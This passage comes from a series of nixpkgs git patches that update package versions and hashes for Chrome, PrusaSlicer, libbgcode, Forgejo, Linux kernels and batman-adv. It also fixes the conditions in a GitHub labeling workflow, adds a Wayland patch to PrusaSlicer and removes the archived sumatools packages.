+    version = "137.0.7151.119";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-fodxvhsZXB5qyQf05Id5DDtoAyh7Y5m+b1p5DgTNfM4=";
+      hash = "sha256-EcU3pulP1I+8kKvtHJSvNato2/bzF+XaZIAvJm6KGHo=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -276,11 +276,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "137.0.7151.104";
+    version = "137.0.7151.120";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/din3a4gpe3yt7dv7nagbwgsv5a_137.0.7151.104/GoogleChrome-137.0.7151.104.dmg";
-      hash = "sha256-zS8h03FYAAoj9bHcm/P3d70W2hhRfqw+wsioHgmBKg8=";
+      url = "http://dl.google.com/release2/chrome/krvhzfpcltd2q6vp72nycv3pqi_137.0.7151.120/GoogleChrome-137.0.7151.120.dmg";
+      hash = "sha256-8DmeV1zhlNFRb18W/6r+eJugFHFQ4XqYJhxcEZT/8yE=";
     };
 
     dontPatch = true;

From 2a41a7288d555d3c40dced56b22e75ced63f21f4 Mon Sep 17 00:00:00 2001
From: Lach <iam@lach.pw>
Date: Sat, 15 Mar 2025 20:27:33 +0100
Subject: [PATCH 1256/4511] libbgcode: 2023-11-16 -> 0-unstable-2025-02-19

Co-authored-by: Lach <iam@lach.pw>
(cherry picked from commit 94084c4140a90c23eab8ab7ef32c1010674c796a)
---
 pkgs/by-name/li/libbgcode/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/li/libbgcode/package.nix b/pkgs/by-name/li/libbgcode/package.nix
index ddfd37c773e2..5ad44220d625 100644
--- a/pkgs/by-name/li/libbgcode/package.nix
+++ b/pkgs/by-name/li/libbgcode/package.nix
@@ -7,17 +7,17 @@
   heatshrink,
   zlib,
   boost,
-  catch2,
+  catch2_3,
 }:
 stdenv.mkDerivation {
   pname = "libbgcode";
-  version = "2023-11-16";
+  version = "0-unstable-2025-02-19";
 
   src = fetchFromGitHub {
     owner = "prusa3d";
     repo = "libbgcode";
-    rev = "bc390aab4427589a6402b4c7f65cf4d0a8f987ec";
-    hash = "sha256-TZShYeDAh+fNdmTr1Xqctji9f0vEGpNZv1ba/IY5EoY=";
+    rev = "5041c093b33e2748e76d6b326f2251310823f3df";
+    hash = "sha256-EaxVZerH2v8b1Yqk+RW/r3BvnJvrAelkKf8Bd+EHbEc=";
   };
 
   nativeBuildInputs = [
@@ -29,7 +29,7 @@ stdenv.mkDerivation {
     heatshrink
     zlib
     boost
-    catch2
+    catch2_3
   ];
 
   meta = with lib; {

From 0e45c4d2d0fa2a0ed19feea67888e86fc11eefd6 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Sun, 15 Jun 2025 19:22:38 +0200
Subject: [PATCH 1257/4511] prusa-slicer: 2.9.0 -> 2.9.2

Diff: https://github.com/prusa3d/PrusaSlicer/compare/version_2.9.0...version_2.9.2
(cherry picked from commit 2d05b9f5827204eb01586a9ad7d3679fe6241239)
---
 .../misc/prusa-slicer/default.nix             | 53 +++++++++----------
 .../fix-ambiguous-constructors.patch          | 37 -------------
 2 files changed, 25 insertions(+), 65 deletions(-)
 delete mode 100644 pkgs/applications/misc/prusa-slicer/fix-ambiguous-constructors.patch

diff --git a/pkgs/applications/misc/prusa-slicer/default.nix b/pkgs/applications/misc/prusa-slicer/default.nix
index e075bf766c1f..b3cd5adf5068 100644
--- a/pkgs/applications/misc/prusa-slicer/default.nix
+++ b/pkgs/applications/misc/prusa-slicer/default.nix
@@ -3,7 +3,6 @@
   lib,
   binutils,
   fetchFromGitHub,
-  fetchpatch,
   cmake,
   pkg-config,
   wrapGAppsHook3,
@@ -33,11 +32,12 @@
   xorg,
   libbgcode,
   heatshrink,
-  catch2,
+  catch2_3,
   webkitgtk_4_1,
   ctestCheckHook,
   withSystemd ? lib.meta.availableOn stdenv.hostPlatform systemd,
   systemd,
+  z3,
   wxGTK-override ? null,
   opencascade-override ? null,
 }:
@@ -60,36 +60,30 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "prusa-slicer";
-  version = "2.9.0";
+  version = "2.9.2";
 
   src = fetchFromGitHub {
     owner = "prusa3d";
     repo = "PrusaSlicer";
-    hash = "sha256-6BrmTNIiu6oI/CbKPKoFQIh1aHEVfJPIkxomQou0xKk=";
+    hash = "sha256-j/fdEgcFq0nWBLpyapwZIbBIXCnqEWV6Tk+6sTHk/Bc=";
     rev = "version_${finalAttrs.version}";
   };
 
-  # https://github.com/prusa3d/PrusaSlicer/pull/14010
-  patches = [
-    (fetchpatch {
-      url = "https://github.com/prusa3d/PrusaSlicer/commit/cdc3db58f9002778a0ca74517865527f50ade4c3.patch";
-      hash = "sha256-zgpGg1jtdnCBaWjR6oUcHo5sGuZx5oEzpux3dpRdMAM=";
-    })
-    # https://github.com/prusa3d/PrusaSlicer/pull/11769
-    ./fix-ambiguous-constructors.patch
-  ];
-
-  # Patch required for GCC 14.
   # (not applicable to super-slicer fork)
-  # Make Gcode viewer open newer bgcode files.
-  postPatch = lib.optionalString (finalAttrs.pname == "prusa-slicer") ''
-    substituteInPlace src/slic3r-arrange/include/arrange/DataStoreTraits.hpp \
-      --replace-fail \
-      "WritableDataStoreTraits<ArrItem>::template set" \
-      "WritableDataStoreTraits<ArrItem>::set"
-    substituteInPlace src/platform/unix/PrusaGcodeviewer.desktop \
-      --replace-fail 'MimeType=text/x.gcode;' 'MimeType=application/x-bgcode;text/x.gcode;'
-  '';
+  postPatch = lib.optionalString (finalAttrs.pname == "prusa-slicer") (
+    # Patch required for GCC 14, but breaks on clang
+    lib.optionalString stdenv.cc.isGNU ''
+      substituteInPlace src/slic3r-arrange/include/arrange/DataStoreTraits.hpp \
+        --replace-fail \
+        "WritableDataStoreTraits<ArrItem>::template set" \
+        "WritableDataStoreTraits<ArrItem>::set"
+    ''
+    # Make Gcode viewer open newer bgcode files.
+    + ''
+      substituteInPlace src/platform/unix/PrusaGcodeviewer.desktop \
+        --replace-fail 'MimeType=text/x.gcode;' 'MimeType=application/x-bgcode;text/x.gcode;'
+    ''
+  );
 
   nativeBuildInputs = [
     cmake
@@ -127,8 +121,9 @@ stdenv.mkDerivation (finalAttrs: {
       xorg.libX11
       libbgcode
       heatshrink
-      catch2
+      catch2_3
       webkitgtk_4_1
+      z3
     ]
     ++ lib.optionals withSystemd [
       systemd
@@ -161,7 +156,7 @@ stdenv.mkDerivation (finalAttrs: {
     # dlopen(3) for context.
     if [ -f "src/libslic3r/Format/STEP.cpp" ]; then
       substituteInPlace src/libslic3r/Format/STEP.cpp \
-        --replace 'libpath /= "OCCTWrapper.so";' 'libpath = "OCCTWrapper.so";'
+        --replace-fail 'libpath /= "OCCTWrapper.so";' 'libpath = "OCCTWrapper.so";'
     fi
     # https://github.com/prusa3d/PrusaSlicer/issues/9581
     if [ -f "cmake/modules/FindEXPAT.cmake" ]; then
@@ -169,8 +164,10 @@ stdenv.mkDerivation (finalAttrs: {
     fi
 
     # Fix resources folder location on macOS
-    substituteInPlace src/PrusaSlicer.cpp \
-      --replace "#ifdef __APPLE__" "#if 0"
+    substituteInPlace src/${
+      if finalAttrs.pname == "prusa-slicer" then "CLI/Setup.cpp" else "PrusaSlicer.cpp"
+    } \
+      --replace-fail "#ifdef __APPLE__" "#if 0"
   '';
 
   cmakeFlags = [
diff --git a/pkgs/applications/misc/prusa-slicer/fix-ambiguous-constructors.patch b/pkgs/applications/misc/prusa-slicer/fix-ambiguous-constructors.patch
deleted file mode 100644
index 209a0d1a08a9..000000000000
--- a/pkgs/applications/misc/prusa-slicer/fix-ambiguous-constructors.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 910328f3131e24e330808f5d4cb814454dbe201d Mon Sep 17 00:00:00 2001
-From: Gregor Riepl <onitake@gmail.com>
-Date: Mon, 27 Nov 2023 13:01:55 +0100
-Subject: [PATCH] Make initializers explicit to avoid ambiguous wxArrayString
- overloads
-
----
- src/slic3r/GUI/PhysicalPrinterDialog.cpp | 2 +-
- src/slic3r/GUI/Plater.cpp                | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/slic3r/GUI/PhysicalPrinterDialog.cpp b/src/slic3r/GUI/PhysicalPrinterDialog.cpp
-index 849e987c731..7d0c628c23f 100644
---- a/src/slic3r/GUI/PhysicalPrinterDialog.cpp
-+++ b/src/slic3r/GUI/PhysicalPrinterDialog.cpp
-@@ -607,7 +607,7 @@ void PhysicalPrinterDialog::build_printhost_settings(ConfigOptionsGroup* m_optgr
-     // Always fill in the "printhost_port" combo box from the config and select it.
-     {
-         Choice* choice = dynamic_cast<Choice*>(m_optgroup->get_field("printhost_port"));
--        choice->set_values({ m_config->opt_string("printhost_port") });
-+        choice->set_values(std::vector<std::string>({ m_config->opt_string("printhost_port") }));
-         choice->set_selection();
-     }
- 
-diff --git a/src/slic3r/GUI/Plater.cpp b/src/slic3r/GUI/Plater.cpp
-index debfe625fd4..4d61e29a2dc 100644
---- a/src/slic3r/GUI/Plater.cpp
-+++ b/src/slic3r/GUI/Plater.cpp
-@@ -4420,7 +4420,7 @@ void Plater::load_project(const wxString& filename)
-     s_multiple_beds.set_loading_project_flag(true);
-     ScopeGuard guard([](){ s_multiple_beds.set_loading_project_flag(false);});
- 
--    if (! load_files({ into_path(filename) }).empty()) {
-+    if (! load_files(std::vector<boost::filesystem::path>({ into_path(filename) })).empty()) {
-         // At least one file was loaded.
-         p->set_project_filename(filename);
-         // Save the names of active presets and project specific config into ProjectDirtyStateManager.

From 9e1026e08fa18c64ec38793c5390027151421159 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 18 Jun 2025 08:11:59 +0200
Subject: [PATCH 1258/4511] prusa-slicer: allow wayland

fixes some issues when running prusa-slicer through
xwayland on proprietary nvidia gpu drivers: #415703

(cherry picked from commit 88da23a9b9454a169e8e23f836194fb21d10b75a)
---
 .../misc/prusa-slicer/allow_wayland.patch     | 54 +++++++++++++++++++
 .../misc/prusa-slicer/default.nix             |  7 +++
 2 files changed, 61 insertions(+)
 create mode 100644 pkgs/applications/misc/prusa-slicer/allow_wayland.patch

diff --git a/pkgs/applications/misc/prusa-slicer/allow_wayland.patch b/pkgs/applications/misc/prusa-slicer/allow_wayland.patch
new file mode 100644
index 000000000000..e780335d00f0
--- /dev/null
+++ b/pkgs/applications/misc/prusa-slicer/allow_wayland.patch
@@ -0,0 +1,54 @@
+commit c9282b73f3d09daff23a2603addd94605596ebe7
+Author: Robert Schiele <rschiele@gmail.com>
+Date:   Thu May 8 19:16:46 2025 +0200
+
+    remove forcing GDK_BACKEND to x11
+    
+    It seems the problems on Wayland from the past are removed meanwhile.
+
+diff --git a/src/CLI/GuiParams.cpp b/src/CLI/GuiParams.cpp
+index f44b91651f..41b42ff368 100644
+--- a/src/CLI/GuiParams.cpp
++++ b/src/CLI/GuiParams.cpp
+@@ -107,9 +107,8 @@ int start_gui_with_params(GUI::GUI_InitParams& params)
+ #if !defined(_WIN32) && !defined(__APPLE__)
+     // likely some linux / unix system
+     const char* display = boost::nowide::getenv("DISPLAY");
+-    // const char *wayland_display = boost::nowide::getenv("WAYLAND_DISPLAY");
+-    //if (! ((display && *display) || (wayland_display && *wayland_display))) {
+-    if (!(display && *display)) {
++    const char *wayland_display = boost::nowide::getenv("WAYLAND_DISPLAY");
++    if (! ((display && *display) || (wayland_display && *wayland_display))) {
+         // DISPLAY not set.
+         boost::nowide::cerr << "DISPLAY not set, GUI mode not available." << std::endl << std::endl;
+         print_help(false);
+@@ -141,4 +140,4 @@ int start_as_gcode_viewer(GUI::GUI_InitParams& gui_params)
+ }
+ #else // SLIC3R_GUI
+     // If there is no GUI, we shall ignore the parameters. Remove them from the list.
+-#endif // SLIC3R_GUI
+\ No newline at end of file
++#endif // SLIC3R_GUI
+diff --git a/src/CLI/Setup.cpp b/src/CLI/Setup.cpp
+index 82e03d466d..95acdf3477 100644
+--- a/src/CLI/Setup.cpp
++++ b/src/CLI/Setup.cpp
+@@ -212,11 +212,6 @@ static bool setup_common()
+     save_main_thread_id();
+ 
+ #ifdef __WXGTK__
+-    // On Linux, wxGTK has no support for Wayland, and the app crashes on
+-    // startup if gtk3 is used. This env var has to be set explicitly to
+-    // instruct the window manager to fall back to X server mode.
+-    ::setenv("GDK_BACKEND", "x11", /* replace */ true);
+-
+     // https://github.com/prusa3d/PrusaSlicer/issues/12969
+     ::setenv("WEBKIT_DISABLE_COMPOSITING_MODE", "1", /* replace */ false);
+     ::setenv("WEBKIT_DISABLE_DMABUF_RENDERER", "1", /* replace */ false);
+@@ -338,4 +333,4 @@ bool setup(Data& cli, int argc, char** argv)
+     return true;
+ }
+ 
+-}
+\ No newline at end of file
++}
diff --git a/pkgs/applications/misc/prusa-slicer/default.nix b/pkgs/applications/misc/prusa-slicer/default.nix
index b3cd5adf5068..bfa2aee3f7d6 100644
--- a/pkgs/applications/misc/prusa-slicer/default.nix
+++ b/pkgs/applications/misc/prusa-slicer/default.nix
@@ -69,6 +69,13 @@ stdenv.mkDerivation (finalAttrs: {
     rev = "version_${finalAttrs.version}";
   };
 
+  # only applies to prusa slicer because super-slicer overrides *all* patches
+  patches = [
+    # https://github.com/NixOS/nixpkgs/issues/415703
+    # https://gitlab.archlinux.org/archlinux/packaging/packages/prusa-slicer/-/merge_requests/5
+    ./allow_wayland.patch
+  ];
+
   # (not applicable to super-slicer fork)
   postPatch = lib.optionalString (finalAttrs.pname == "prusa-slicer") (
     # Patch required for GCC 14, but breaks on clang

From 2873a3aef1be42f86848e4a00c2c2c4671b8c005 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Thu, 19 Jun 2025 15:45:53 +0200
Subject: [PATCH 1259/4511] prusa-slicer: force cmake-based z3 [25.05 only]

---
 pkgs/applications/misc/prusa-slicer/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/misc/prusa-slicer/default.nix b/pkgs/applications/misc/prusa-slicer/default.nix
index bfa2aee3f7d6..a073f0e0c809 100644
--- a/pkgs/applications/misc/prusa-slicer/default.nix
+++ b/pkgs/applications/misc/prusa-slicer/default.nix
@@ -130,7 +130,7 @@ stdenv.mkDerivation (finalAttrs: {
       heatshrink
       catch2_3
       webkitgtk_4_1
-      z3
+      (z3.override { useCmakeBuild = true; })
     ]
     ++ lib.optionals withSystemd [
       systemd

From 50edc2eaecda9841cf32b132cf4fafb0ae5a9e2b Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 18 Jun 2025 13:39:13 +0000
Subject: [PATCH 1260/4511] forgejo: 11.0.1 -> 11.0.2

https://codeberg.org/forgejo/forgejo/src/branch/forgejo/release-notes-published/11.0.2.md
https://codeberg.org/forgejo/forgejo/releases/tag/v11.0.2
(cherry picked from commit 7aa82f5b9881306da8d6bada94f52eab5ed4525e)
---
 pkgs/by-name/fo/forgejo/lts.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fo/forgejo/lts.nix b/pkgs/by-name/fo/forgejo/lts.nix
index c31929fb7e62..94a23757ba5b 100644
--- a/pkgs/by-name/fo/forgejo/lts.nix
+++ b/pkgs/by-name/fo/forgejo/lts.nix
@@ -1,8 +1,8 @@
 import ./generic.nix {
-  version = "11.0.1";
-  hash = "sha256-hsJfJOJ6mTIGGV+0YwSA9SYsLXxI1VTXzc+SyXJJ69Q=";
-  npmDepsHash = "sha256-laHHXq59/7+rJSYTD1Aq/AvFcio6vsnWkeV8enq3yTg=";
-  vendorHash = "sha256-8fa6l89+6NhVsi6VuTvQs35E3HuiBFxM8NUQ/jzlzV0=";
+  version = "11.0.2";
+  hash = "sha256-myg6BGoCJaX7YbQAFSRwX0KtX/TFLKJOUuirqtQcN8Q=";
+  npmDepsHash = "sha256-wsjosyZ5J5mU7ixbWjXnbqkvgnOE0dGz81vVqaI61go=";
+  vendorHash = "sha256-5eaPdvU2NbCgbL+rcCqzphTESLHGbGZ3MgtXknCjrSc=";
   lts = true;
   nixUpdateExtraArgs = [
     "--override-filename"

From b42a5dc87ecdee71756d045c2a1ab3d9d86e2f68 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 19 Jun 2025 11:54:47 +0200
Subject: [PATCH 1261/4511] workflows/labels: fix pull_request event trigger

When the job is run with the pull_request trigger for validation of
changes to the workflow itself, we need to run everything that can be
run without privileges - but not more.

We tried to do so for the three actions/labeler steps, but failed to set
up the condition correctly. We also need to exit early for our
JavaScript based labeler, just before making the mutation requests.

(cherry picked from commit 8ab44fec3709c629e54216b126ddc7dc8a28bc4d)
---
 .github/workflows/labels.yml | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 2a632be28b57..0ca429421891 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -212,6 +212,11 @@ jobs:
                   if (approvals.size > 0) after.push(`12.approvals: ${approvals.size > 2 ? '3+' : approvals.size}`)
                   if (Array.from(maintainers).some(m => approvals.has(m))) after.push('12.approved-by: package-maintainer')
 
+                  if (context.eventName == 'pull_request') {
+                    core.info('Skipping labeling on a pull_request event (no privileges).')
+                    return
+                  }
+
                   // Remove the ones not needed anymore
                   await Promise.all(
                     before.filter(name => !after.includes(name))
@@ -247,12 +252,12 @@ jobs:
         name: Labels from touched files
         if: |
           github.event_name == 'pull_request_target' &&
-          github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
+          (github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
             github.head_ref == 'haskell-updates' ||
             github.head_ref == 'python-updates' ||
             github.head_ref == 'staging-next' ||
             startsWith(github.head_ref, 'staging-next-')
-          )
+          ))
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           configuration-path: .github/labeler.yml # default
@@ -262,12 +267,12 @@ jobs:
         name: Labels from touched files (no sync)
         if: |
           github.event_name == 'pull_request_target' &&
-          github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
+          (github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
             github.head_ref == 'haskell-updates' ||
             github.head_ref == 'python-updates' ||
             github.head_ref == 'staging-next' ||
             startsWith(github.head_ref, 'staging-next-')
-          )
+          ))
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           configuration-path: .github/labeler-no-sync.yml
@@ -280,12 +285,12 @@ jobs:
         # the backport labels.
         if: |
           github.event_name == 'pull_request_target' &&
-          github.event.pull_request.head.repo.owner.login == 'NixOS' && (
+          (github.event.pull_request.head.repo.owner.login == 'NixOS' && (
             github.head_ref == 'haskell-updates' ||
             github.head_ref == 'python-updates' ||
             github.head_ref == 'staging-next' ||
             startsWith(github.head_ref, 'staging-next-')
-          )
+          ))
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           configuration-path: .github/labeler-development-branches.yml

From 0a203185b2f900489c416e647970f54765eac573 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 19 Jun 2025 19:52:01 +0300
Subject: [PATCH 1262/4511] linux_6_15: 6.15.2 -> 6.15.3

(cherry picked from commit 06d87a365839cef8563e23e081e20816b84190c1)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 6c7ddb2bbea1..6bffd2c4edd9 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -36,7 +36,7 @@
         "hash": "sha256:06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z"
     },
     "6.15": {
-        "version": "6.15.2",
-        "hash": "sha256:0n28a43nv94vvdkllw5gky9dznymk4myf1jlphfid3jhdimcsn1l"
+        "version": "6.15.3",
+        "hash": "sha256:1c35ima9zklzi0hhmw2xmii6agj3kkycm845fg6xjf2lja4hrd8j"
     }
 }

From d913337e6cc810f7a722797cd43aac0de337c0fc Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 19 Jun 2025 19:52:06 +0300
Subject: [PATCH 1263/4511] linux_6_12: 6.12.33 -> 6.12.34

(cherry picked from commit e7bfb32fabc872d02e29456aa9225f823034a3a3)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 6bffd2c4edd9..ccb76e637e4c 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:06bpg5vvh165znzn01mqab2divrsbznxwc73y44z1s9mjqszyy8d"
     },
     "6.12": {
-        "version": "6.12.33",
-        "hash": "sha256:0m52a9mnwc919fsyiyn1gafnrr2mz7w8s7v4n05s40r61xipb9f0"
+        "version": "6.12.34",
+        "hash": "sha256:0kf2f3r96npzs01kdq3q2ag7zg8l3avfyqwv5qbs9v373wwgxwx7"
     },
     "6.13": {
         "version": "6.13.12",

From 184aa3f584337cb935e2fd235bd324085e9ee81c Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 19 Jun 2025 19:52:10 +0300
Subject: [PATCH 1264/4511] linux_6_6: 6.6.93 -> 6.6.94

(cherry picked from commit d5406b851a87342591b44e5681ed5be65f526f80)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index ccb76e637e4c..9aa6f46d5121 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:16bv0x4c9ssr66vrd6jnv2dw5na1y7hxfn4d67g0zaksh6xd0yf8"
     },
     "6.6": {
-        "version": "6.6.93",
-        "hash": "sha256:06bpg5vvh165znzn01mqab2divrsbznxwc73y44z1s9mjqszyy8d"
+        "version": "6.6.94",
+        "hash": "sha256:0mncdsqbqrxii0hirnymi1kmg50jn9v0p26flimlf2xj4vm82fbi"
     },
     "6.12": {
         "version": "6.12.34",

From 35c3fd0475367174718f5951c06a558b5d8d8f40 Mon Sep 17 00:00:00 2001
From: Tom Herbers <mail@tomherbers.de>
Date: Thu, 19 Jun 2025 11:25:28 +0200
Subject: [PATCH 1265/4511] batman-adv: 2025.1 -> 2025.2

Changelog: https://www.open-mesh.org/news/122
(cherry picked from commit 904fd1ed4831615d32d964b2072cf0e2557940d9)
---
 pkgs/os-specific/linux/batman-adv/version.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/batman-adv/version.nix b/pkgs/os-specific/linux/batman-adv/version.nix
index c346f11b7eaf..51bd7732b1e5 100644
--- a/pkgs/os-specific/linux/batman-adv/version.nix
+++ b/pkgs/os-specific/linux/batman-adv/version.nix
@@ -1,14 +1,14 @@
 {
-  version = "2025.1";
+  version = "2025.2";
 
   # To get these, run:
   #
   # ```
-  # for tool in alfred batctl batman-adv; do nix-prefetch-url https://downloads.open-mesh.org/batman/releases/batman-adv-2025.1/$tool-2025.1.tar.gz --type sha256 | xargs nix hash convert --hash-algo sha256 --to sri; done
+  # for tool in alfred batctl batman-adv; do nix-prefetch-url https://downloads.open-mesh.org/batman/releases/batman-adv-2025.2/$tool-2025.2.tar.gz --type sha256 | xargs nix hash convert --hash-algo sha256 --to sri; done
   # ```
   sha256 = {
-    alfred = "sha256-f7iz8cxOxIjo1D/ZFd2gp831thG/OdYN3rRIasACXxg=";
-    batctl = "sha256-IPii4TWgeKrBblyK1TWhKhVc8Lea8YPeX7F9qVe8JHg=";
-    batman-adv = "sha256-A61CkpeWH7Os2cLIBkMtA3sO16rA8KHmReMq9SELmOE=";
+    alfred = "sha256-Q0fR5LB5Svv2sXGoV7mjx9UaKR/FTxbNrZLH99HNtRo=";
+    batctl = "sha256-q2wDRqFvER57n9XOVczd633grXdCvi9FExfrQo9qCpY=";
+    batman-adv = "sha256-FsRfi7jzBTcc2Q6IhjDPslHCsYnlUypSepNvo1ukl/c=";
   };
 }

From 63827485d6acf4e7463d144e179023fa0568cf00 Mon Sep 17 00:00:00 2001
From: Tom Hunze <dev@thunze.de>
Date: Sat, 14 Jun 2025 11:28:47 +0200
Subject: [PATCH 1266/4511] sumatools: drop

All derivations fail to build with GCC 14 and their repositories were
archived upstream [1]-[3].

[1] https://git.metabarcoding.org/obitools/sumaclust
[2] https://git.metabarcoding.org/obitools/sumalibs
[3] https://git.metabarcoding.org/obitools/sumatra

(cherry picked from commit 6f20f07dd704c4a83e8c236e51c04e2f1a05d6db)
---
 .../science/biology/sumatools/default.nix     | 77 -------------------
 pkgs/top-level/aliases.nix                    |  3 +
 pkgs/top-level/all-packages.nix               |  6 --
 3 files changed, 3 insertions(+), 83 deletions(-)
 delete mode 100644 pkgs/applications/science/biology/sumatools/default.nix

diff --git a/pkgs/applications/science/biology/sumatools/default.nix b/pkgs/applications/science/biology/sumatools/default.nix
deleted file mode 100644
index fc07cd661c56..000000000000
--- a/pkgs/applications/science/biology/sumatools/default.nix
+++ /dev/null
@@ -1,77 +0,0 @@
-{
-  lib,
-  gccStdenv,
-  fetchFromGitLab,
-  zlib,
-}:
-
-let
-  stdenv = gccStdenv;
-  meta = with lib; {
-    description = "Fast and exact comparison and clustering of sequences";
-    homepage = "https://metabarcoding.org/sumatra";
-    maintainers = [ maintainers.bzizou ];
-    platforms = platforms.unix;
-  };
-
-in
-rec {
-
-  # Suma library
-  sumalibs = stdenv.mkDerivation rec {
-    version = "1.0.34";
-    pname = "sumalibs";
-    src = fetchFromGitLab {
-      domain = "git.metabarcoding.org";
-      owner = "obitools";
-      repo = pname;
-      rev = "sumalib_v${version}";
-      sha256 = "0hwkrxzfz7m5wdjvmrhkjg8kis378iaqr5n4nhdhkwwhn8x1jn5a";
-    };
-    makeFlags = [ "PREFIX=$(out)" ];
-    inherit meta;
-  };
-
-  # Sumatra
-  sumatra = stdenv.mkDerivation rec {
-    version = "1.0.34";
-    pname = "sumatra";
-    src = fetchFromGitLab {
-      domain = "git.metabarcoding.org";
-      owner = "obitools";
-      repo = pname;
-      rev = "${pname}_v${version}";
-      sha256 = "1bbpbdkshdc3xffqnr1qfy8qk64ldsmdc3s8mrcrlx132rgbi5f6";
-    };
-    buildInputs = [
-      sumalibs
-      zlib
-    ];
-    makeFlags = [
-      "LIBSUMA=${sumalibs}/lib/libsuma.a"
-      "LIBSUMAPATH=-L${sumalibs}"
-      "PREFIX=$(out)"
-    ];
-    inherit meta;
-  };
-
-  # Sumaclust
-  sumaclust = stdenv.mkDerivation rec {
-    version = "1.0.34";
-    pname = "sumaclust";
-    src = fetchFromGitLab {
-      domain = "git.metabarcoding.org";
-      owner = "obitools";
-      repo = pname;
-      rev = "${pname}_v${version}";
-      sha256 = "0x8yi3k3jxhmv2krp4rcjlj2f9zg0qrk7gx4kpclf9c3yxgsgrds";
-    };
-    buildInputs = [ sumalibs ];
-    makeFlags = [
-      "LIBSUMA=${sumalibs}/lib/libsuma.a"
-      "LIBSUMAPATH=-L${sumalibs}"
-      "PREFIX=$(out)"
-    ];
-    inherit meta;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 446c93001dee..f855c5ba5134 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1800,6 +1800,9 @@ mapAliases {
   strawberry-qt5 = throw "strawberry-qt5 has been replaced by strawberry-qt6"; # Added 2024-11-22
   strelka = throw "strelka depends on Python 2.6+, and does not support Python 3."; # Added 2025-03-17
   suidChroot = throw "'suidChroot' has been dropped as it was unmaintained, failed to build and had questionable security considerations"; # Added 2025-05-17
+  sumaclust = throw "'sumaclust' has been removed as it was archived upstream and broken with GCC 14"; # Added 2025-06-14
+  sumalibs = throw "'sumalibs' has been removed as it was archived upstream and broken with GCC 14"; # Added 2025-06-14
+  sumatra = throw "'sumatra' has been removed as it was archived upstream and broken with GCC 14"; # Added 2025-06-14
   sumneko-lua-language-server = lua-language-server; # Added 2023-02-07
   sumokoin = throw "sumokoin has been removed as it was abandoned upstream"; # Added 2024-11-23
   supertag = throw "supertag has been removed as it was abandoned upstream and fails to build"; # Added 2025-04-20
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 0960b45da6a5..0439f3ba3a75 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -15639,12 +15639,6 @@ with pkgs;
 
   samtools = callPackage ../applications/science/biology/samtools { };
 
-  inherit (callPackages ../applications/science/biology/sumatools { })
-    sumalibs
-    sumaclust
-    sumatra
-    ;
-
   trimmomatic = callPackage ../applications/science/biology/trimmomatic {
     jdk = pkgs.jdk21_headless;
     # Reduce closure size

From fd4c9ca8b6358e6c7eaac1b182703d9eab0a42ed Mon Sep 17 00:00:00 2001
